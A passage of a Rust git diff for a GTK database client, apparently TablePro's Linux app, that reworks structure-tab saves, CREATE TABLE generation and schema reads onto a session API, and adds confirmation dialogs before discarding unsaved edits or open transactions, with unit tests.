ran.finished(None, outcome).await; + result + }; + crate::runtime::spawn_and_deliver(&self.context.tasks, work, move |result| match settled(result) { + Ok(_) => sender.input(AppMsg::StructureSaveCompleted { tab_id, new_table_name }), + Err(error) => sender.input(AppMsg::StructureSaveFailed( + tab_id, + error_text::operation_error_message(&error), + )), }); } /// Save resolved successfully. Two cases: /// - /// 1. **New-Table draft (`Structure` slot)**: CreateTable - /// succeeded so the table now exists. Close the draft and - /// append a fresh `Table` tab pointed at the new name in - /// Structure mode so the user keeps editing in the canonical - /// UI. - /// 2. **Table tab Save**: the slot stays put; just forward - /// `SaveCompleted` to the structure controller so it clears - /// the tracker + refetches introspection. + /// 1. **New-Table draft**: CreateTable succeeded so the table now + /// exists. Close the draft and open a Browse tab on the new + /// table. + /// 2. **Edit-mode tab**: the slot stays put, taking the new name + /// when the save renamed the table; `SaveCompleted` makes the + /// tab clear its pending ops and read the table again. pub(super) fn on_structure_save_completed( &mut self, tab_id: Uuid, @@ -368,16 +340,21 @@ impl App { UpdateInPlace(Option, String), Skip, } - // `WorkspaceTab::Structure` only exists for New-Table drafts; - // Edit-mode DDL flows through Table tabs exclusively. let kind = { - let tabs = self.workspace_tabs.borrow(); - match tabs.get(&tab_id) { - Some(WorkspaceTab::Structure(slot)) => match new_table_name.clone() { - Some(name) => SaveKind::PromoteNewToTable(slot.schema.clone(), name), - None => SaveKind::Skip, + let mut tabs = self.workspace_tabs.borrow_mut(); + match tabs.get_mut(&tab_id) { + Some(WorkspaceTab::Structure(slot)) => match (slot.mode, new_table_name.clone()) { + (StructureMode::New, Some(name)) => SaveKind::PromoteNewToTable(slot.schema.clone(), name), + (StructureMode::New, None) => SaveKind::Skip, + (StructureMode::Edit, renamed) => { + // The refetch that follows reads the table by + // the slot's name, which a rename just changed. + if let Some(name) = renamed { + slot.table = name; + } + SaveKind::UpdateInPlace(slot.schema.clone(), slot.table.clone()) + } }, - Some(WorkspaceTab::Table(slot)) => SaveKind::UpdateInPlace(slot.schema.clone(), slot.table.clone()), _ => SaveKind::Skip, } }; @@ -427,16 +404,11 @@ impl App { SaveKind::Skip => {} } - // Mirror the browse `SaveCompletedForTab` cleanup. Without this, - // a close-with-pending dialog that picked "Save" leaves the tab - // open after a successful structure save (the dialog inserted - // tab_id into close_after_save, expecting completion to drain - // it). For PromoteNewToTable the original Structure tab was - // already closed by `finish_close_workspace_tab`; the - // `WorkspaceTabClosed` here is therefore dispatched only for - // UpdateInPlace and Skip paths where the tab is still alive. - // The window-close-after-save check runs unconditionally since - // the counter membership was consumed either way. + // A close-with-pending dialog that picked "Save" put this tab + // in close_after_save and waits for the save to drain it. A + // promoted draft is already closed, so only a tab that is still + // open is closed here; the window-close check runs either way + // because the counter entry was consumed. let drained = super::dec_close_after_save(&mut self.close_after_save.borrow_mut(), &tab_id); if drained && !kind_promoted { sender.input(AppMsg::WorkspaceTabClosed(tab_id)); @@ -470,94 +442,43 @@ impl App { } } - /// Sidebar "Show CREATE TABLE" — synthesise the canonical - /// CREATE statement for an existing table by fetching columns, - /// indexes, and FKs and feeding them through - /// `sql_ddl::materialize_ops`. Result lands in a fresh editor - /// tab. No Structure tab is touched; the user just sees the SQL. + /// Sidebar "Show CREATE TABLE": synthesise the canonical CREATE + /// statement for an existing table from its definition, through the + /// same `materialize_ops` the Structure tab saves with. The result + /// lands in a fresh editor tab; no Structure tab is touched. pub(super) fn on_show_create_table(&self, schema: Option, table: String, sender: ComponentSender) { + let Some(session) = self.context.active.get() else { + self.show_toast(&crate::i18n::gettext("No active connection.")); + return; + }; let driver_id = self.driver_id().to_string(); - let sender_for_cmd = sender.clone(); - let table_for_cmd = table.clone(); - let schema_for_cmd = schema.clone(); - sender.command(move |_, shutdown| { - shutdown - .register(async move { - let Some(conn) = database_service::instance().active() else { - sender_for_cmd.input(AppMsg::ShowToast(crate::i18n::gettext("No active connection."))); - return; - }; - let columns = match conn.fetch_columns(schema_for_cmd.as_deref(), &table_for_cmd).await { - Ok(c) => c, - Err(e) => { - sender_for_cmd.input(AppMsg::ShowToast(crate::i18n::gettext_f( - "Couldn't read columns: {error}", - &[("error", &format!("{e}"))], - ))); - return; - } - }; - if columns.is_empty() { - sender_for_cmd.input(AppMsg::ShowToast(crate::i18n::gettext_f( - "Table {table} has no columns.", - &[("table", &table_for_cmd)], - ))); + let work = read_definition(session, TableRef::new(schema, table.clone())); + crate::runtime::spawn_and_deliver(&self.context.tasks, work, move |result| { + let message = match settled(result) { + Ok((definition, dialect)) => match create_table_sql(&definition, &driver_id, &*dialect) { + Ok(Some(sql)) => { + sender.input(AppMsg::ShowCreateTableLoaded { sql }); return; } - let indexes = conn - .fetch_indexes(schema_for_cmd.as_deref(), &table_for_cmd) - .await - .unwrap_or_default(); - let fks = conn - .fetch_foreign_keys(schema_for_cmd.as_deref(), &table_for_cmd) - .await - .unwrap_or_default(); - // Synthesise the CreateTable op directly from the - // fetched schema. DraftColumn::from_info preserves - // the original ColumnInfo so materialise emits the - // right type / nullability / default per driver - // dialect. - let op = tablepro_core::sql_ddl::StructureOp::CreateTable { - schema: schema_for_cmd.clone(), - table: table_for_cmd.clone(), - columns: columns - .into_iter() - .map(tablepro_core::sql_ddl::DraftColumn::from_info) - .collect(), - indexes, - fks, - }; - match tablepro_core::sql_ddl::materialize_ops(&[op], &driver_id) { - Ok(stmts) if !stmts.is_empty() => { - // Multi-statement output (CreateTable + N - // CREATE INDEX + N ALTER ... ADD FK) joins - // with semicolons + blank lines so the - // editor renders each statement on its own. - let sql = stmts.join(";\n\n") + ";"; - sender_for_cmd.input(AppMsg::ShowCreateTableLoaded { sql }); - } - Ok(_) => { - sender_for_cmd.input(AppMsg::ShowToast(crate::i18n::gettext("Nothing to show."))); - } - Err(e) => { - sender_for_cmd.input(AppMsg::ShowToast(crate::i18n::gettext_f( - "Couldn't build SQL: {error}", - &[("error", &format!("{e}"))], - ))); - } + Ok(None) => crate::i18n::gettext_f("Table {table} has no columns.", &[("table", &table)]), + Err(error) => { + crate::i18n::gettext_f("Couldn't build SQL: {error}", &[("error", &error.to_string())]) } - }) - .drop_on_shutdown() + }, + Err(error) => crate::i18n::gettext_f( + "Couldn't read the table: {error}", + &[("error", &error_text::operation_error_message(&error))], + ), + }; + sender.input(AppMsg::ShowToast(message)); }); } - /// Edit-mode init asks for introspection. Fetch columns / indexes / - /// FKs in one async block and dispatch a single StructureLoaded - /// carrying all three so the tab only rebuilds its UI once. The - /// previous fan-out (3 messages, 3 rebuilds) was visible as - /// flicker on Edit-mode tab open. + /// Edit-mode init asks for introspection. The definition comes back + /// in one read, so the tab rebuilds its UI once with columns, + /// indexes and foreign keys from the same moment. pub(super) fn on_fetch_structure_data(&self, tab_id: Uuid, sender: ComponentSender) { - let (schema, table) = { + let table = { let tabs = self.workspace_tabs.borrow(); let Some(slot) = tabs.get(&tab_id) else { return; @@ -565,51 +486,35 @@ impl App { let Some((schema, table)) = slot.schema_table() else { return; }; - (schema.map(str::to_owned), table.to_string()) + TableRef::new(schema.map(str::to_owned), table) }; - let sender_for_cmd = sender.clone(); - sender.command(move |_, shutdown| { - shutdown - .register(async move { - let Some(conn) = database_service::instance().active() else { - sender_for_cmd.input(AppMsg::StructureLoadFailed { - tab_id, - message: crate::i18n::gettext("No active connection."), - }); - return; - }; - let columns = match conn.fetch_columns(schema.as_deref(), &table).await { - Ok(c) => c, - Err(e) => { - sender_for_cmd.input(AppMsg::StructureLoadFailed { - tab_id, - message: format!("{e}"), - }); - return; - } - }; - let indexes = conn.fetch_indexes(schema.as_deref(), &table).await.unwrap_or_default(); - let fks = conn - .fetch_foreign_keys(schema.as_deref(), &table) - .await - .unwrap_or_default(); - sender_for_cmd.input(AppMsg::StructureDataLoaded { - tab_id, - columns, - indexes, - fks, - }); - }) - .drop_on_shutdown() + let Some(session) = self.context.active.get() else { + sender.input(AppMsg::StructureLoadFailed { + tab_id, + message: crate::i18n::gettext("No active connection."), + }); + return; + }; + crate::runtime::spawn_and_deliver(&self.context.tasks, read_definition(session, table), move |result| { + match settled(result) { + Ok((definition, dialect)) => sender.input(AppMsg::StructureDataLoaded { + tab_id, + definition: Box::new(definition), + dialect, + }), + Err(error) => sender.input(AppMsg::StructureLoadFailed { + tab_id, + message: error_text::operation_error_message(&error), + }), + } }); } pub(super) fn on_structure_data_loaded( &self, tab_id: Uuid, - columns: Vec, - indexes: Vec, - fks: Vec, + definition: TableDefinition, + dialect: Arc, ) { if let Some(controller) = self .workspace_tabs @@ -617,9 +522,10 @@ impl App { .get(&tab_id) .and_then(|t| t.structure_controller()) { - let _ = controller - .sender() - .send(StructureTabInput::StructureLoaded { columns, indexes, fks }); + let _ = controller.sender().send(StructureTabInput::StructureLoaded { + definition: Box::new(definition), + dialect, + }); } } @@ -664,24 +570,26 @@ impl App { sender.input(AppMsg::FetchBrowseRowCount(id)); } } - // Sidebar refresh: re-list tables and rebuild the factory. - let sender_for_cmd = sender.clone(); - sender.command(move |_, shutdown| { - shutdown - .register(async move { - let Some(conn) = database_service::instance().active() else { - return; - }; - if let Ok(tables) = conn.list_tables().await { - sender_for_cmd.input(AppMsg::TablesReloaded(tables)); - } + // Sidebar refresh: re-list the objects and rebuild the factory. + let Some(session) = self.context.active.get() else { + return; + }; + let work = async move { + session + .run(OperationKind::Metadata, |lease, options| async move { + Ok(lease.list_objects(&ObjectScope::DefaultSchema, options).await?) }) - .drop_on_shutdown() + .await + }; + crate::runtime::spawn_and_deliver(&self.context.tasks, work, move |result| match settled(result) { + Ok(objects) => sender.input(AppMsg::TablesReloaded(objects)), + // The sidebar keeps the list it has rather than going empty. + Err(error) => tracing::warn!(%error, "could not reload the table list"), }); } - pub(super) fn on_tables_reloaded(&mut self, tables: Vec) { - self.repopulate_sidebar(&tables); + pub(super) fn on_tables_reloaded(&mut self, objects: Vec) { + self.repopulate_sidebar(&objects); } pub(super) fn refresh_structure_tab_dirty(&self, tab_id: Uuid, dirty: bool) { @@ -718,3 +626,248 @@ impl App { self.refresh_window_title(); } } + +/// The table name a save leaves the tab on, when it is not the one the +/// tab already shows: the created table for a draft, the new name for +/// a rename. +fn saved_table_name(mode: StructureMode, ops: &[StructureOp]) -> Option { + ops.iter().find_map(|op| match (mode, op) { + (StructureMode::New, StructureOp::CreateTable { table, .. }) => Some(table.clone()), + (StructureMode::Edit, StructureOp::RenameTable { new_name, .. }) => Some(new_name.clone()), + _ => None, + }) +} + +/// DDL as one schema write. Each statement is the builder's own text +/// with nothing bound, and none of them has a row count to prove. +fn schema_write(table: TableRef, statements: &[String]) -> WriteBatch { + let steps = statements + .iter() + .map(|sql| { + let mut builder = StatementBuilder::new(); + builder.push_sql(sql); + GuardedStatement::unguarded(builder.finish()) + }) + .collect(); + WriteBatch::new(WriteKind::SchemaChanges, table, steps, ForeignKeyMode::Enforced) +} + +async fn run_schema_write(session: Arc, batch: WriteBatch) -> Result { + session + .run(OperationKind::Save(WriteKind::SchemaChanges), move |lease, options| { + let batch = batch.clone(); + async move { Ok(lease.write_batch(&batch, options).await?) } + }) + .await +} + +/// The table's definition and the dialect of the connection that read +/// it, so the DDL built from it is spelled for that same server. +async fn read_definition( + session: Arc, + table: TableRef, +) -> Result<(TableDefinition, Arc), OperationError> { + session + .run(OperationKind::Metadata, move |lease, options| { + let table = table.clone(); + async move { + let definition = lease.fetch_table_definition(&table, options).await?; + Ok((definition, lease.dialect())) + } + }) + .await +} + +/// The CREATE statements for a table as it is defined now, joined so +/// the editor shows each on its own. `None` for a table with no +/// columns, which has nothing to create. +fn create_table_sql( + definition: &TableDefinition, + driver_id: &str, + dialect: &dyn SqlDialect, +) -> Result, BuildDdlError> { + if definition.columns.is_empty() { + return Ok(None); + } + let op = StructureOp::CreateTable { + schema: definition.table.schema.clone(), + table: definition.table.name.clone(), + columns: definition + .columns + .iter() + .cloned() + .map(DraftColumn::from_definition) + .collect(), + indexes: definition.indexes.clone(), + fks: definition.foreign_keys.clone(), + }; + let statements = materialize_ops(&[op], driver_id, dialect)?; + Ok((!statements.is_empty()).then(|| statements.join(";\n\n") + ";")) +} + +/// A task that never answered is reported like the operation it ran: a +/// panic as the bug it is, an abort as the app stopping the work. +fn settled(result: Result, TaskFailure>) -> Result { + result.unwrap_or_else(|failure| { + Err(match failure { + TaskFailure::Panicked(panic) => { + tracing::error!(%panic, "a structure task panicked"); + OperationError::Panicked(panic) + } + TaskFailure::Aborted => OperationError::Cancelled, + }) + }) +} + +#[cfg(test)] +mod tests { + use tablepro_core::column::{ + CatalogType, ColumnDefault, ColumnKind, ColumnType, ReadForm, SqlTypeExpr, TextLength, + }; + use tablepro_core::ddl::{ColumnAttributes, ColumnDefinition}; + use tablepro_core::{ColumnInfo, ForeignKeyInfo}; + + use super::*; + + fn draft(name: &str) -> DraftColumn { + DraftColumn { + original: None, + name: name.to_owned(), + data_type: "text".to_owned(), + nullable: true, + primary_key: false, + auto_increment: false, + default_value: None, + comment: None, + } + } + + #[expect( + clippy::disallowed_methods, + reason = "a test stands in for the catalogue a driver would read" + )] + fn text_column(name: &str) -> ColumnDefinition { + ColumnDefinition::new( + ColumnInfo { + name: name.to_owned(), + column_type: ColumnType { + name: "text".to_owned(), + kind: ColumnKind::Text { + length: TextLength::Unbounded, + }, + catalog: Some(CatalogType { + declaration: SqlTypeExpr::from_catalog_text("text"), + cast_target: SqlTypeExpr::from_catalog_text("text"), + }), + dynamic_storage: false, + read_form: ReadForm::Native, + }, + nullable: false, + primary_key: true, + is_auto_increment: false, + is_generated: false, + default: ColumnDefault::None, + comment: None, + }, + ColumnAttributes::default(), + ) + } + + fn definition(columns: Vec) -> TableDefinition { + TableDefinition { + table: TableRef::new(Some("public".to_owned()), "users"), + columns, + primary_key: None, + indexes: Vec::new(), + foreign_keys: Vec::::new(), + inbound_foreign_keys: Vec::new(), + source: None, + } + } + + #[test] + fn a_draft_saves_under_the_name_it_creates() { + let ops = [StructureOp::CreateTable { + schema: None, + table: "orders".to_owned(), + columns: vec![draft("id")], + indexes: Vec::new(), + fks: Vec::new(), + }]; + + assert_eq!(saved_table_name(StructureMode::New, &ops).as_deref(), Some("orders")); + assert_eq!(saved_table_name(StructureMode::Edit, &ops), None); + } + + #[test] + fn an_edit_that_renames_the_table_moves_the_tab_to_the_new_name() { + let ops = [ + StructureOp::RenameTable { + schema: None, + old_name: "users".to_owned(), + new_name: "accounts".to_owned(), + }, + StructureOp::AddColumn { + schema: None, + table: "accounts".to_owned(), + column: draft("email"), + }, + ]; + + assert_eq!(saved_table_name(StructureMode::Edit, &ops).as_deref(), Some("accounts")); + assert_eq!(saved_table_name(StructureMode::Edit, &ops[1..]), None); + } + + #[test] + fn a_schema_write_carries_each_statement_unguarded_and_unbound() { + let table = TableRef::new(None, "users"); + let statements = [ + "ALTER TABLE users ADD COLUMN a text".to_owned(), + "DROP INDEX i".to_owned(), + ]; + + let batch = schema_write(table.clone(), &statements); + + assert_eq!(batch.kind, WriteKind::SchemaChanges); + assert_eq!(batch.table, table); + assert!(batch.foreign_keys.is_enforced()); + let sql: Vec<&str> = batch.steps.iter().map(|step| step.statement.sql()).collect(); + assert_eq!(sql, ["ALTER TABLE users ADD COLUMN a text", "DROP INDEX i"]); + assert!(batch.steps.iter().all(|step| step.statement.params().is_empty())); + } + + fn postgres_dialect() -> drivers_postgres::PgDialect { + drivers_postgres::PgDialect::new(&tablepro_core::ServerInfo::new("PostgreSQL", "18.0", 18, 0, 0)) + } + + #[test] + fn create_table_sql_restates_the_definition() { + let dialect = postgres_dialect(); + + let sql = create_table_sql(&definition(vec![text_column("id")]), "postgres", &dialect) + .expect("the SQL builds") + .expect("a table with columns"); + + assert!(sql.starts_with("CREATE TABLE"), "{sql}"); + assert!(sql.contains("\"users\""), "{sql}"); + assert!(sql.ends_with(';'), "{sql}"); + } + + #[test] + fn a_table_without_columns_has_nothing_to_create() { + let dialect = postgres_dialect(); + + assert!(matches!( + create_table_sql(&definition(Vec::new()), "postgres", &dialect), + Ok(None) + )); + } + + #[test] + fn an_aborted_task_reads_as_cancelled() { + let aborted: Result, TaskFailure> = Err(TaskFailure::Aborted); + + assert_eq!(settled(aborted), Err(OperationError::Cancelled)); + assert_eq!(settled(Ok(Ok(5))), Ok(5)); + } +} diff --git a/linux/crates/app/src/ui/app/teardown_guard.rs b/linux/crates/app/src/ui/app/teardown_guard.rs new file mode 100644 index 0000000000..941cfb0fc9 --- /dev/null +++ b/linux/crates/app/src/ui/app/teardown_guard.rs @@ -0,0 +1,117 @@ +use std::cell::Cell; + +use relm4::adw::prelude::*; +use relm4::{ComponentSender, adw}; + +use crate::services::{change_tracker, structure_tracker}; + +use super::{App, AppMsg, WorkspaceTab}; + +/// What closing the workspace would throw away. +#[derive(Debug, Clone, Copy, Default, PartialEq, Eq)] +pub(super) struct WorkspaceLoss { + pub(super) unsaved_edits: bool, + pub(super) open_transactions: bool, +} + +impl WorkspaceLoss { + pub(super) fn is_empty(self) -> bool { + !self.unsaved_edits && !self.open_transactions + } + + fn body(self) -> String { + match (self.unsaved_edits, self.open_transactions) { + (true, true) => crate::i18n::gettext( + "Every tab closes. Unsaved row edits and structure changes are lost, and the server rolls back each open editor transaction.", + ), + (false, true) => { + crate::i18n::gettext("Every tab closes, and the server rolls back each open editor transaction.") + } + _ => crate::i18n::gettext("Every tab closes, and unsaved row edits and structure changes are lost."), + } + } +} + +/// Why the workspace is closing, which names the button that confirms it. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub(super) enum Teardown { + Disconnect, + Switch, +} + +impl App { + pub(super) fn workspace_loss(&self) -> WorkspaceLoss { + let unsaved_edits = change_tracker::any_pending_globally() || structure_tracker::any_pending_globally(); + let open_transactions = self + .workspace_tabs + .borrow() + .values() + .any(|tab| matches!(tab, WorkspaceTab::Editor(slot) if slot.editor.has_open_transaction())); + WorkspaceLoss { + unsaved_edits, + open_transactions, + } + } + + /// Send `proceed` once the user agrees to lose what the workspace + /// holds, or at once when it holds nothing. + pub(super) fn confirm_teardown(&self, teardown: Teardown, proceed: AppMsg, sender: ComponentSender) { + let loss = self.workspace_loss(); + if loss.is_empty() { + sender.input(proceed); + return; + } + let (heading, confirm) = match teardown { + Teardown::Disconnect => ( + crate::i18n::gettext("Disconnect and Discard Changes?"), + crate::i18n::gettext("Discard and Disconnect"), + ), + Teardown::Switch => ( + crate::i18n::gettext("Switch Connection and Discard Changes?"), + crate::i18n::gettext("Discard and Switch"), + ), + }; + let dialog = adw::AlertDialog::new(Some(&heading), Some(&loss.body())); + dialog.add_response("cancel", &crate::i18n::gettext("Cancel")); + dialog.add_response("discard", &confirm); + dialog.set_response_appearance("discard", adw::ResponseAppearance::Destructive); + dialog.set_default_response(Some("cancel")); + dialog.set_close_response("cancel"); + let proceed = Cell::new(Some(proceed)); + dialog.connect_response(None, move |_, response| { + if response == "discard" + && let Some(message) = proceed.take() + { + sender.input(message); + } + }); + dialog.present(Some(&self.window)); + } +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn each_kind_of_loss_has_its_own_explanation() { + let edits = WorkspaceLoss { + unsaved_edits: true, + open_transactions: false, + }; + let transactions = WorkspaceLoss { + unsaved_edits: false, + open_transactions: true, + }; + let both = WorkspaceLoss { + unsaved_edits: true, + open_transactions: true, + }; + + assert!(WorkspaceLoss::default().is_empty()); + assert!(!edits.is_empty() && !transactions.is_empty()); + assert!(edits.body().contains("edits") && !edits.body().contains("transaction")); + assert!(transactions.body().contains("transaction") && !transactions.body().contains("edits")); + assert!(both.body().contains("edits") && both.body().contains("transaction")); + } +} diff --git a/linux/crates/app/src/ui/app/workspace_tabs.rs b/linux/crates/app/src/ui/app/workspace_tabs.rs index 27a51f9274..a6ac0f80ab 100644 --- a/linux/crates/app/src/ui/app/workspace_tabs.rs +++ b/linux/crates/app/src/ui/app/workspace_tabs.rs @@ -8,10 +8,9 @@ use relm4::{Component, ComponentController, ComponentSender, adw, gtk}; use uuid::Uuid; -use crate::services::database_service; use crate::services::workspace_state::{self, ConnectionWorkspaceState, WorkspaceTabRecord}; use crate::ui::browse_tab::{BrowseTab, BrowseTabInit, BrowseTabInput, BrowseTabOutput}; -use crate::ui::editor::{SqlEditor, SqlEditorInit, SqlEditorInput, SqlEditorOutput, derive_tab_label}; +use crate::ui::editor::{SqlEditor, SqlEditorInit, derive_tab_label}; use super::{ App, AppMsg, CLOSED_TABS_CAPACITY, ClosedTabDescriptor, EditorTabSlot, OpenMode, WorkspaceTab, @@ -168,29 +167,25 @@ impl App { let settings_for_create = self.settings.clone(); let history_for_create = self.history.store(); let tasks_for_create = self.tasks.clone(); + let session_for_create = self.context.active.clone(); + let hold_for_create = self.context.hold.clone(); + let close_timeout_for_create = self.context.close_timeout(); let sender_for_create = sender.clone(); + let toasts_for_create = self.toast_overlay.clone(); tab_overview.connect_create_tab(move |_| { let tab_id = Uuid::new_v4(); - let editor = SqlEditor::builder() - .launch(SqlEditorInit { - schema_buffer: schema_buffer_for_create.clone(), - initial_query: None, - settings: settings_for_create.clone(), - history: history_for_create.clone(), - tasks: tasks_for_create.clone(), - }) - .forward(sender_for_create.input_sender(), move |out| match out { - SqlEditorOutput::RunStateChanged(running) => AppMsg::EditorTabRunStateChanged(tab_id, running), - SqlEditorOutput::QueryChanged(text) => AppMsg::EditorTabQueryChanged(tab_id, text), - SqlEditorOutput::CopyToClipboard(text) => AppMsg::CopyToClipboard(text), - SqlEditorOutput::ShowToast(msg) => AppMsg::ShowToast(msg), - SqlEditorOutput::ExportResults { result, name } => AppMsg::ExportResults { - result, - name, - target: None, - }, - }); - let page = tab_view_for_create.append(editor.widget()); + let editor = SqlEditor::new(SqlEditorInit { + schema_buffer: schema_buffer_for_create.clone(), + initial_query: None, + settings: settings_for_create.clone(), + history: history_for_create.clone(), + tasks: tasks_for_create.clone(), + session: session_for_create.clone(), + hold: hold_for_create.clone(), + close_timeout: close_timeout_for_create, + }); + connect_editor(&editor, tab_id, &sender_for_create, &toasts_for_create); + let page = tab_view_for_create.append(&editor); let editor_count = workspace_tabs_for_create .borrow() .values() @@ -202,7 +197,7 @@ impl App { // via on_editor_tab_query_changed. write_workspace_tab_id(&page, tab_id); let slot = EditorTabSlot { - controller: editor, + editor, page: page.clone(), draft: tablepro_storage::DraftId::new(), query: String::new(), @@ -419,15 +414,13 @@ impl App { return; }; let tab_id = Uuid::new_v4(); - let driver_id = self.driver_id().to_string(); - let connection_id = database_service::instance().active_id(); + let connection_id = self.context.active.metadata().map(|metadata| metadata.id); let read_only = self.read_only; let browse_init = BrowseTabInit { tab_id, schema: schema.clone(), table: table.clone(), - driver_id, connection_id, read_only, page_size, @@ -452,10 +445,15 @@ impl App { BrowseTabOutput::ShowSelectionAlert { title, body } => AppMsg::ShowAlert { title, body }, BrowseTabOutput::ShowToast(msg) => AppMsg::ShowToast(msg), BrowseTabOutput::DirtyChanged(dirty) => AppMsg::BrowseTabDirtyChanged(tab_id, dirty), - BrowseTabOutput::ExecuteTransaction { statements, sources } => AppMsg::ExecuteBrowseTransaction { + BrowseTabOutput::ExecuteTransaction { + table, + columns, + changes, + } => AppMsg::ExecuteBrowseTransaction { tab_id, - statements, - sources, + table, + columns, + changes, }, }); @@ -576,26 +574,18 @@ impl App { }; let tab_id = Uuid::new_v4(); let query = initial_query.clone().unwrap_or_default(); - let editor = SqlEditor::builder() - .launch(SqlEditorInit { - schema_buffer: self.schema_buffer.clone(), - initial_query, - settings: self.settings.clone(), - history: self.history.store(), - tasks: self.tasks.clone(), - }) - .forward(sender.input_sender(), move |out| match out { - SqlEditorOutput::RunStateChanged(running) => AppMsg::EditorTabRunStateChanged(tab_id, running), - SqlEditorOutput::QueryChanged(text) => AppMsg::EditorTabQueryChanged(tab_id, text), - SqlEditorOutput::CopyToClipboard(text) => AppMsg::CopyToClipboard(text), - SqlEditorOutput::ShowToast(msg) => AppMsg::ShowToast(msg), - SqlEditorOutput::ExportResults { result, name } => AppMsg::ExportResults { - result, - name, - target: None, - }, - }); - let page = tab_view.append(editor.widget()); + let editor = SqlEditor::new(SqlEditorInit { + schema_buffer: self.schema_buffer.clone(), + initial_query, + settings: self.settings.clone(), + history: self.history.store(), + tasks: self.tasks.clone(), + session: self.context.active.clone(), + hold: self.context.hold.clone(), + close_timeout: self.context.close_timeout(), + }); + connect_editor(&editor, tab_id, &sender, &self.toast_overlay); + let page = tab_view.append(&editor); let label = match query.trim().is_empty() { true => default_editor_tab_label(self.editor_tab_count() + 1), false => derive_tab_label(&query), @@ -608,13 +598,10 @@ impl App { // Track the buffer from the start, so text restored into a tab // is written back even if the user never types in it. - self.drafts.schedule( - &tablepro_storage::DraftScope::default(), - draft, - &editor.model().buffer(), - ); + self.drafts + .schedule(&tablepro_storage::DraftScope::default(), draft, &editor.buffer()); let slot = EditorTabSlot { - controller: editor, + editor, page: page.clone(), draft, query, @@ -656,6 +643,14 @@ impl App { _ => None, }) .unwrap_or(false); + let open_transaction = matches!( + self.workspace_tabs.borrow().get(&id), + Some(WorkspaceTab::Editor(slot)) if slot.editor.has_open_transaction() + ); + if open_transaction { + self.confirm_close_with_open_transaction(id, &tab_view, sender); + return; + } if pending { let page = self.workspace_tabs.borrow().get(&id).map(|t| match t { WorkspaceTab::Editor(s) => s.page.clone(), @@ -750,6 +745,39 @@ impl App { self.finish_close_workspace_tab(id, &tab_view); } + /// An editor tab's connection ends with the tab, and the server + /// rolls back whatever transaction it held, so closing one with a + /// transaction open asks first. + fn confirm_close_with_open_transaction(&self, id: Uuid, tab_view: &adw::TabView, sender: ComponentSender) { + let Some(page) = self.workspace_tabs.borrow().get(&id).map(|tab| match tab { + WorkspaceTab::Editor(s) => s.page.clone(), + WorkspaceTab::Structure(s) => s.page.clone(), + WorkspaceTab::Table(s) => s.page.clone(), + }) else { + return; + }; + let dialog = adw::AlertDialog::new( + Some(&crate::i18n::gettext("Close Tab With an Open Transaction?")), + Some(&crate::i18n::gettext( + "Closing the tab ends its connection, and the server rolls back the changes the transaction has not committed.", + )), + ); + dialog.add_response("cancel", &crate::i18n::gettext("Cancel")); + dialog.add_response("close", &crate::i18n::gettext("Close Tab")); + dialog.set_response_appearance("close", adw::ResponseAppearance::Destructive); + dialog.set_default_response(Some("cancel")); + dialog.set_close_response("cancel"); + let tab_view = tab_view.clone(); + dialog.connect_response(None, move |_, response| { + if response == "close" { + sender.input(AppMsg::WorkspaceTabClosed(id)); + } else { + tab_view.close_page_finish(&page, false); + } + }); + dialog.present(Some(&self.window)); + } + /// Tear down a tab without prompting. Internal helper called once /// the close-with-pending dialog (if any) has resolved. pub(super) fn finish_close_workspace_tab(&mut self, id: Uuid, tab_view: &adw::TabView) { @@ -775,7 +803,7 @@ impl App { self.close_after_save.borrow_mut().remove(&id); match &removed { WorkspaceTab::Editor(slot) => { - let _ = slot.controller.sender().send(SqlEditorInput::Cancel); + slot.editor.shutdown(); // The record no longer names this draft, so the file has // nothing left pointing at it. self.drafts @@ -950,8 +978,11 @@ impl App { // end rather than once at the start and never again. let workspace_tabs = self.workspace_tabs.clone(); let tab_view = self.workspace_tab_view.clone(); + // The tabs belong to the session open now, even if the write + // lands after a switch to another one. + let connection_id = self.context.active.metadata().map(|metadata| metadata.id); self.persist_debouncer.request(move || { - do_persist_workspace_state(&workspace_tabs, tab_view.as_ref()); + do_persist_workspace_state(connection_id, &workspace_tabs, tab_view.as_ref()); }); } @@ -960,15 +991,17 @@ impl App { /// only via `persist_workspace_state`'s debounced timer or /// directly from teardown paths that need a synchronous flush. pub(super) fn do_persist_workspace_state_now(&self) { - do_persist_workspace_state(&self.workspace_tabs, self.workspace_tab_view.as_ref()); + let connection_id = self.context.active.metadata().map(|metadata| metadata.id); + do_persist_workspace_state(connection_id, &self.workspace_tabs, self.workspace_tab_view.as_ref()); } } fn do_persist_workspace_state( + connection_id: Option, workspace_tabs: &std::rc::Rc>>, tab_view: Option<&adw::TabView>, ) { - let Some(connection_id) = database_service::instance().active_id() else { + let Some(connection_id) = connection_id else { return; }; let tabs = workspace_tabs.borrow(); @@ -1191,10 +1224,12 @@ impl App { self.workspace_tabs.borrow_mut().clear(); } + /// Stop every editor run and close each editor tab's connection, + /// for a disconnect that takes the tabs with it. pub(super) fn cancel_all_editor_runs(&self) { for tab in self.workspace_tabs.borrow().values() { if let WorkspaceTab::Editor(s) = tab { - let _ = s.controller.sender().send(SqlEditorInput::Cancel); + s.editor.shutdown(); } } } @@ -1233,7 +1268,7 @@ impl App { let tooltip = editor_tab_tooltip(&query, &label).unwrap_or_default(); slot.page.set_tooltip(&tooltip); slot.query = query; - (slot.draft, slot.controller.model().buffer()) + (slot.draft, slot.editor.buffer()) }; // The buffer is read once when the write fires, not once per // keystroke, so a long script costs nothing to type in. @@ -1257,7 +1292,7 @@ impl App { if let Some(id) = self.selected_workspace_tab_id() && let Some(WorkspaceTab::Editor(slot)) = self.workspace_tabs.borrow().get(&id) { - let _ = slot.controller.sender().send(SqlEditorInput::ReplaceQuery(text)); + slot.editor.replace_query(&text); return; } self.append_editor_tab(Some(text), sender); @@ -1408,3 +1443,38 @@ fn editor_tab_tooltip(query: &str, label: &str) -> Option { let preview = format!("{}…", &q[..last_idx]); if preview == label { None } else { Some(preview) } } + +/// Forward an editor tab's signals into the window. The toast overlay +/// is the window's, so a replaced query's Undo button lives there. +fn connect_editor(editor: &SqlEditor, tab_id: Uuid, sender: &ComponentSender, toasts: &adw::ToastOverlay) { + let input = sender.input_sender().clone(); + editor.connect_run_state_changed(move |_, running| { + input.emit(AppMsg::EditorTabRunStateChanged(tab_id, running)); + }); + let input = sender.input_sender().clone(); + editor.connect_query_changed(move |_, text| input.emit(AppMsg::EditorTabQueryChanged(tab_id, text))); + let input = sender.input_sender().clone(); + 